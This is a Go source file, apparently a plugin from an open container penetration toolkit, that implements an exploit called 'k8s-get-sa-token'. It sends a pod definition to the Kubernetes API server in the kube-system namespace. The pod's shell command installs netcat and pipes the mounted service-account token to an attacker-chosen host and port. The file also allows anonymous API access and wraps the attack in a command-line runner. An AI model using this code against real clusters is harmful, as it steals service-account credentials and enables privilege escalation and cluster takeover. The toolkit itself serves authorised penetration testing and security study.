// +build !no_k8s_get_sa_token

package exploit

import (
	"fmt"
	"github.com/cdk-team/CDK/conf"
	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/errors"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/tool/kubectl"
	"log"
	"strings"
)

var k8sCreateSystemPodAPI = "/api/v1/namespaces/kube-system/pods"
var k8sGetSATokenPodConf = `{
	"apiVersion": "v1",
	"kind": "Pod",
	"metadata": {
		"name": "cdk-rbac-bypass-create-pod",
		"namespace": "kube-system"
	},
	"spec": {
		"automountServiceAccountToken": true,
		"containers": [{
			"args": ["-c", "apt update && apt install -y netcat; cat /run/secrets/kubernetes.io/serviceaccount/token | nc ${RHOST} ${RPORT}; sleep 300"],
			"command": ["/bin/sh"],
			"image": "ubuntu",
			"name": "ubuntu"
		}],
		"hostNetwork": true,
		"serviceAccountName": "${TARGET_SERVICE_ACCOUNT}"
	}
}`

func GetK8sSATokenViaCreatePod(tokenPath string, targetServiceAccount string, rhost string, rport string) error {

	// get api-server connection conf in ENV
	log.Println("getting K8s api-server API addr.")
	addr, err := kubectl.ApiServerAddr()
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "err found while getting K8s apiserver address."}
	}
	fmt.Println("\tFind K8s api-server in ENV:", addr)

	// create a pod with target serviceaccount token mounted
	log.Printf("Trying to create a pod to dump service-account:%s token to remote server %s:%s\n", targetServiceAccount, rhost, rport)

	opts := kubectl.K8sRequestOption{
		TokenPath: "",
		Server:    addr,
		Api:       k8sCreateSystemPodAPI,
		Method:    "POST",
		PostData:  "",
		Anonymous: false,
	}

	switch tokenPath {
	case "default":
		opts.TokenPath = conf.K8sSATokenDefaultPath
	case "anonymous":
		opts.TokenPath = ""
		opts.Anonymous = true
	default:
		opts.TokenPath = tokenPath
	}

	opts.PostData = strings.Replace(k8sGetSATokenPodConf, "${RHOST}", rhost, -1)
	opts.PostData = strings.Replace(opts.PostData, "${RPORT}", rport, -1)
	opts.PostData = strings.Replace(opts.PostData, "${TARGET_SERVICE_ACCOUNT}", targetServiceAccount, -1)

	log.Println("Request Body: ", opts.PostData)

	resp, err := kubectl.ServerAccountRequest(opts)
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "err found while requesting K8s apiserver."}
	}
	log.Println("api-server response:")
	fmt.Println(resp)

	return nil
}

// plugin interface
type K8sGetSATokenViaCreatePodS struct{}

func (p K8sGetSATokenViaCreatePodS) Desc() string {
	return "Dump target service-account token and send it to remote ip:port, usage: cdk run k8s-get-sa-token (default|anonymous|<service-account-token-path>) <target-service-account> <ip> <port>"
}
func (p K8sGetSATokenViaCreatePodS) Run() bool {
	args := cli.Args["<args>"].([]string)
	if len(args) != 4 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}

	token := args[0]
	targetServiceAccount := args[1]
	remoteIP := args[2]
	remotePort := args[3]

	err := GetK8sSATokenViaCreatePod(token, targetServiceAccount, remoteIP, remotePort)
	if err != nil {
		log.Println("exploit failed.")
		log.Println(err)
		return false
	}

	return true
}

func init() {
	exploit := K8sGetSATokenViaCreatePodS{}
	plugin.RegisterExploit("k8s-get-sa-token", exploit)
}
